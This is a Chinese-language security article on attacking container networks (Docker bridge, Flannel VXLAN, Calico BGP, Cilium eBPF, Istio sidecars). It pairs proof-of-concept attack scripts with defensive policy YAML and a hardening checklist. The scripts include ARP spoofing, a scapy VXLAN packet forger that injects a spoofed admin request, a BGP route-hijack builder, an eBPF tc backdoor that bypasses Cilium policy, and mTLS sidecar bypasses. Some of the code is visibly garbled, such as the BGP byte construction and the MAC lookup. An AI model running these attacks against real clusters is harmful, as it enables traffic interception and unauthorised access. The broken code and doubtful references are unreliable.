一、容器网络架构全景

容器网络比传统 VM 网络复杂得多,因为每一层抽象都引入了新的攻击面。先理解四种主流方案:

┌─────────────────────────────────────────────────────────────┐
│ 方案              │ 隔离机制      │ 攻击面                   │
├─────────────────────────────────────────────────────────────┤
│ Docker Bridge     │ veth pair     │ ARP spoof, veth 劫持     │
│ Flannel VXLAN     │ VXLAN overlay │ VXLAN header 劫持, 组播  │
│ Calico BGP        │ 路由宣告       │ BGP 投毒, RCE            │
│ Cilium eBPF       │ eBPF map      │ eBPF 程序替换, 特权升级   │
└─────────────────────────────────────────────────────────────┘

叠加层:Service Mesh (Istio/Linkerd) → Envoy sidecar 引入新攻击面

二、攻击面 1:Docker 原生 Bridge 网络

2.1 原理

[Host A]                    [Host B]
┌──────────────┐           ┌──────────────┐
│ container    │           │ container    │
│ eth0 (10.0.) │ veth pair  │ eth0 (10.0.) │ veth pair
└──────┬───────┘           └──────┬───────┘
       │                          │
  veth0 ── br0 (docker0) ── veth1     br0 (docker0)
                     │                     │
                 eth0 (192.168.1.100)   eth0 (192.168.1.101)
                     │                     │
                     └─────────────────────┘
                              L2/L3

2.2 PoC:ARP 欺骗劫持同宿主容器流量

如果两个容器在同一宿主的同一 bridge 网络,可以通过 ARP 欺骗劫持它们之间的流量。

# 在容器内执行(需要 NET_RAW 或 NET_ADMIN 能力)
# 1. 找到自己的 veth
ip link show
# 2. 找到目标容器的 IP
TARGET_IP=172.17.0.3
TARGET_MAC=$(cat /sys/class/net/eth0/address)

# 3. 找到网关 (docker0) MAC
GATEWAY_MAC=$(ip neigh show default | grep -oP '(?<=lladdr )[0-9a-f:]+')

# 4. 发送伪造 ARP 响应
# 告诉目标: "我是网关,我的 MAC 是 XX"
arping -i eth0 -D -U -c 100 -s $TARGET_IP -h $GATEWAY_MAC 172.17.0.1

# 5. 用 tcpdump 抓到目标流量
tcpdump -i eth0 host $TARGET_IP -w /tmp/capture.pcap

2.3 PoC:直接操纵 veth 设备

# 特权容器可以直接操作宿主的 veth 设备
ip link add name dummy0 type veth peer name dummy1
ip link set dummy0 up
ip link set dummy1 master docker0
# 现在宿主所有经过 docker0 的流量都经过 dummy1,你可以在这里做什么?
# 用 eBPF 程序 attach 到 dummy1,劫持/修改所有 L7 流量

三、攻击面 2:Flannel VXLAN Overlay

3.1 原理

Flannel 用 VXLAN 把所有宿主上的容器连成一个大二层网络:

容器 A (10.244.1.5) ──── VXLAN 隧道 (UDP 8472) ──── 容器 B (10.244.2.7)
           │                                          │
      flannel0 (VTEP: 192.168.1.100)            flannel0 (VTEP: 192.168.1.101)

3.2 漏洞:VXLAN Header 劫持(CVE-2019-9903 类)

VXLAN 包是 UDP 8472,攻击者可以构造一个伪造的 VXLAN 包,把它投递到目标宿主的 flannel VTEP。

#!/usr/bin/env python3
"""
VXLAN 伪造 PoC - 向目标宿主注入"假"的容器流量
前置条件: 攻击者能访问宿主机所在的 L2/L3 网络
"""
from scapy.all import *
import struct

def forge_vxlan_pkt(attacker_ip, target_vtep_ip, victim_container_ip, spoofed_src_ip, payload_data):
    """
    构造一个 VXLAN 包,从 attacker 发到 target_vtep
    target_vtep 会把它解封装后投递给 victim_container_ip
    """
    # VXLAN Header: 8 bytes
    vxlan_flags = 0x08  # I flag = 1 (valid VNI)
    vni = 0x000a8c00   # 假设 flannel 的 VNI
    vxlan_header = struct.pack("!BxI", vxlan_flags, vni)

    # 内层包: 假装来自 spoofed_src_ip,发给 victim_container_ip
    inner_ip = IP(src=spoofed_src_ip, dst=victim_container_ip, proto=6)
    inner_tcp = TCP(sport=80, dport=8080, flags="PA", seq=1000, ack=1)
    inner_payload = Raw(load=payload_data.encode())

    # 外层包: UDP 8472 → 8472
    outer_udp = UDP(sport=8472, dport=8472)
    outer_ip = IP(src=attacker_ip, dst=target_vtep_ip)

    pkt = outer_ip / outer_udp / Raw(load=vxlan_header) / inner_ip / inner_tcp / inner_payload
    send(pkt, verbose=0)
    print(f"[+] 已发送 VXLAN 包到 {target_vtep_ip}")
    print(f"    伪造来源: {spoofed_src_ip} → 目标: {victim_container_ip}")
    print(f"    载荷: {payload_data}")

if __name__ == "__main__":
    # 攻击场景: 攻击者在同一个 VPC 里,向目标宿主注入伪造的"另一个容器"的请求
    forge_vxlan_pkt(
        attacker_ip="192.168.1.200",
        target_vtep_ip="192.168.1.101",      # 目标宿主的物理 IP
        victim_container_ip="10.244.2.7",     # 目标容器 IP
        spoofed_src_ip="10.244.1.5",          # 伪造的来源容器 IP(管理员信任的容器)
        payload_data="GET /admin/delete-all HTTP/1.1
Host: internal-api

"
    )

3.3 防御

  • VXLAN 默认不加密!生产环境用 IPsec overlay (Flannel + IPSec / Calico WireGuard)
  • 启用 VXLAN VTEP ACL,只允许已知宿主 IP
  • 启用 micro-segmentation (NetworkPolicy)

四、攻击面 3:Calico BGP 路由投毒

4.1 原理

Calico 用 BGP 直接把容器路由宣告出去,没有隧道封装

Host A (AS 65001)    ── BGP session ──>    Host B (AS 65001)
10.244.1.0/24                                   10.244.2.0/24
                                                 ↓
                                          如果攻击者能伪造 BGP 更新...
                                          10.244.2.0/24 指向 Attacker IP

4.2 PoC:BGP 劫持容器网段

# 如果能访问 Calico 的 BGP session(端口 179),用 bird/frr 发送恶意更新
# 1. 找到 Calico 的 BGP peer 配置
calicoctl get node <target-node> -o yaml | grep -A5 bgp

# 2. 用 Python 发 BGP UPDATE 包(简化演示)
python3 << 'PYEOF'
# 实际攻击用 FRRouting 或 ExaBGP
# 这个 PoC 只是演示 BGP UPDATE 消息结构
import struct

def make_bgp_update(attacker_as, victim_prefix, attacker_next_hop):
    """构造 BGP UPDATE: 宣告 victim_prefix 可以从 attacker_as 到达"""
    # Withdrawn Routes Length = 0
    # Total Path Attribute Length
    # Path Attributes: ORIGIN(IGP), AS_PATH, NEXT_HOP, MED
    path_attrs = b""
    # ORIGIN
    path_attrs += b'@'  # flags=0x40(optional), type=1(origin), len=1, IGP
    # AS_PATH (AS_SEQUENCE + attacker_as)
    path_attrs += b'@' + struct.pack("!H", attacker_as)
    # NEXT_HOP
    path_attrs += b'@' + bytes(map(int, attacker_next_hop.split('.')))
    # NLRI
    nlri = bytes([victim_prefix[2]]) + bytes(map(int, victim_prefix[3:].split('.')))

    total_len = 2 + len(path_attrs) + len(nlri)
    header = b'ÿ' * 16 + struct.pack("!H", total_len + 4) + b''

    update = header + struct.pack("!H", 0) + path_attrs + nlri
    print(f"[+] BGP UPDATE 已构造,长度 {len(update)} 字节")
    # 实际攻击: sendto(tcp_sock, update) 到 peer:179
    return update

make_bgp_update(65002, "24 10.244.2.0", "192.168.1.200")
# 告诉所有 BGP peer: 10.244.2.0/24 的下一跳是 192.168.1.200 (attacker)
PYEOF

五、攻击面 4:Cilium eBPF

5.1 原理

Cilium 把网络逻辑编译成 eBPF 程序加载到内核 hook 点,性能极佳但攻击面也变了

5.2 PoC:替换 eBPF map 中的 LPM 路由

# eBPF map 可以通过 bpftool 读写
# 1. 列出 Cilium 加载的 eBPF map
bpftool map list | grep cilium
# 输出示例:
# 71: lpm_trie ops 3 0 key:24 value:8 ... name cilium_lb4_routes

# 2. 查看路由表
bpftool map dump name cilium_lb4_routes
# key: 0a f4 02 00 (10.244.2.0) value: ...

# 3. 如果有写权限(CAP_SYS_ADMIN),可以直接注入恶意路由
# 这相当于 BGP 投毒,但更底层、更难检测

# 4. Cilium 的 FQDN 策略也存在攻击面
# CVE-2023-26561: 伪造 DNS 响应可以绕过 FQDN eBPF 策略

5.3 更危险:替换 tc hook 的 eBPF 程序

# 特权容器可以直接替换宿主上加载的 eBPF 程序
# 1. 列出 tc hook 上的 eBPF
tc filter show dev eth0 ingress

# 2. 卸载 Cilium 的 eBPF,加载自己的
tc filter del dev eth0 ingress
tc filter add dev eth0 ingress bpf obj backdoor.o sec entry verbose

# 3. backdoor.c 示例
cat > backdoor.c << 'CEOF'
#include <linux/bpf.h>
#include <linux/pkt_cls.h>
#include <bpf/bpf_helpers.h>

SEC("classifier")
int backdoor(struct __sk_buff *skb) {
    // 放行所有流量(绕过 Cilium 策略)
    return TC_ACT_OK;
    // 或者: 如果目标 IP 是攻击者服务器,把所有 HTTP 请求转发过去
}
char LICENSE[] SEC("license") = "GPL";
CEOF

clang -O2 -target bpf -c backdoor.c -o backdoor.o

六、Service Mesh:Istio 引入的新攻击面

6.1 架构

Client Pod                    Server Pod
┌──────────────┐             ┌──────────────┐
│ App          │             │ App          │
└──────┬───────┘             └──────┬───────┘
       │ TCP:8080                   │
┌──────┴───────┐             ┌──────┴───────┐
│ Envoy Sidecar│──mTLS──→   │ Envoy Sidecar│
│ (listener)   │             │ (listener)   │
└──────────────┘             └──────────────┘
       │                            │
    路由规则                      路由规则
    (DestinationRule)            (Sidecar)

6.2 攻击面清单

攻击点 风险 PoC
Envoy Admin API (port 15000) 泄露集群拓扑、终止 mTLS curl :15000/config_dump
Pilot xDS 无认证 攻击者可以注入恶意路由 见下
Sidecar 绕过 直连 Pod IP 绕过 mTLS kubectl exec → 直连 target-ip:80
Gateway 配置错误 SSRF、路径穿越 /admin/..%2f..%2f
JWT 过期未刷新 使用过期 token 访问 见下

6.3 PoC:利用 Envoy Admin API 窃取路由配置

# 进入一个带 Envoy sidecar 的 Pod
kubectl exec -it my-app-pod -c istio-proxy -- curl localhost:15000/config_dump

# 提取所有内部服务地址
curl localhost:15000/config_dump | jq '[.. | .route_config? | select(. != null) | .virtual_hosts[] | {name: .name, domains: .domains}]'

# 查看集群拓扑
curl localhost:15000/clusters | jq '.cluster_statuses[] | {name: .name, endpoints: (.host_statuses | length)}'

# 重要: 15000 端口在 Pod 内是开放的!
# 如果攻击者拿到 Pod shell,可以 dump 所有路由 → 发现隐藏的内部服务

6.4 PoC:Sidecar 绕过(跳过 mTLS 直连后端)

# 假设 Envoy 配置了 STRICT mTLS,但 Pod network 里可以直接用 IP
# 1. 找到后端 Pod 的真实 IP
kubectl get pod backend-xxx -o jsonpath='{.status.podIP}'
# 10.244.2.15

# 2. 直接连接 IP 绕过 Envoy sidecar
# (某些情况下 Envoy 只拦截 Service 域名的流量,不拦截直接 IP)
python3 -c "
import socket
s = socket.create_connection(('10.244.2.15', 8080))
s.send(b'GET /admin HTTP/1.1
Host: backend

')
print(s.recv(4096).decode())
"
# 这可能绕过了 mTLS 认证,绕过了 Envoy 的 authz 策略

# 3. Istio 防御: 使用 PeerAuthentication STRICT 模式 + mTLS DestinationRule

6.5 防御:配置网络策略的黄金标准

# 1. Default Deny All NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: production
spec:
  podSelector: {}
  policyTypes: [Ingress, Egress]
---
# 2. 显式放行需要的流量
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-frontend-to-backend
  namespace: production
spec:
  podSelector:
    matchLabels:
      app: backend
  policyTypes: [Ingress]
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: frontend
    ports:
    - protocol: TCP
      port: 8080
---
# 3. Istio PeerAuthentication 强制 mTLS
apiVersion: security.istio.io/v1beta1
kind: PeerAuthentication
metadata:
  name: default-strict-mtls
  namespace: production
spec:
  mtls:
    mode: STRICT
---
# 4. Istio AuthorizationPolicy
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: backend-only-frontend
  namespace: production
spec:
  selector:
    matchLabels:
      app: backend
  rules:
  - from:
    - source:
        principals: ["cluster.local/ns/production/sa/frontend-sa"]
    to:
    - operation:
        methods: ["GET", "POST"]

6.6 eBPF + NetworkPolicy:可观测性 + 策略

# Cilium NetworkPolicy 示例(比原生 K8s NetworkPolicy 强得多)
cat << 'EOF' | kubectl apply -f -
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
  name: backend-allow-frontend-only
spec:
  endpointSelector:
    matchLabels:
      app: backend
  ingress:
  - fromEndpoints:
    - matchLabels:
        app: frontend
    toPorts:
    - ports:
      - port: "8080"
        protocol: TCP
  # eBPF 级别:强制执行 + 可观测
  egress:
  - toEntities: ["world"]
    toPorts:
    - ports:
      - port: "443"
        protocol: TCP
EOF

# 实时观测策略命中
cilium monitor --type drop
# 输出: policy verdict: drop for endpoint backend (10.244.2.15) ← 攻击被拦截

七、终极防护:零信任微隔离架构

7.1 四层防护

Layer 1: NetworkPolicy        → L3/L4 基础隔离
Layer 2: NetworkPolicy (DNS)  → 按域名隔离(防 DNS 隧道)
Layer 3: Istio AuthorizationPolicy → L7 微隔离(谁能访问哪个 endpoint)
Layer 4: Cilium FQDN Policy   → 出口 DNS 层拦截

7.2 自动化策略生成(Kubecost + NetworkPolicy)

# 根据真实流量自动生成 NetworkPolicy
# 安装 network-policy-generator
kubectl apply -f https://raw.githubusercontent.com/1Password/networkpolicy-generator/main/deployment.yaml

# 或者用 cilium Hubble 分析 + 生成
cilium hubble observe -f --namespace production | cilium policy generate
# 从观测到的流量自动生成 CiliumNetworkPolicy

八、总结:容器网络安全 Checklist

项目 检查点 验证命令
Overlay 加密 Flannel 用 IPSec / Calico 用 WireGuard calicoctl get node -o yaml
NetworkPolicy 每个 namespace 有 default-deny kubectl get networkpolicy -A
mTLS Istio STRICT 模式 kubectl get peerauthentication -A
AuthorizationPolicy 每个服务有明确 authz kubectl get authorizationpolicy -A
Envoy Admin API 限制为 127.0.0.1 kubectl exec -c istio-proxy curl localhost:15000
Sidecar 绕过 配置 L7 策略禁止直接 IP 访问 CiliumNetworkPolicy + toFQDNs
eBPF 完整性 启用 BPF JIT 加固 sysctl net.core.bpf_jit_harden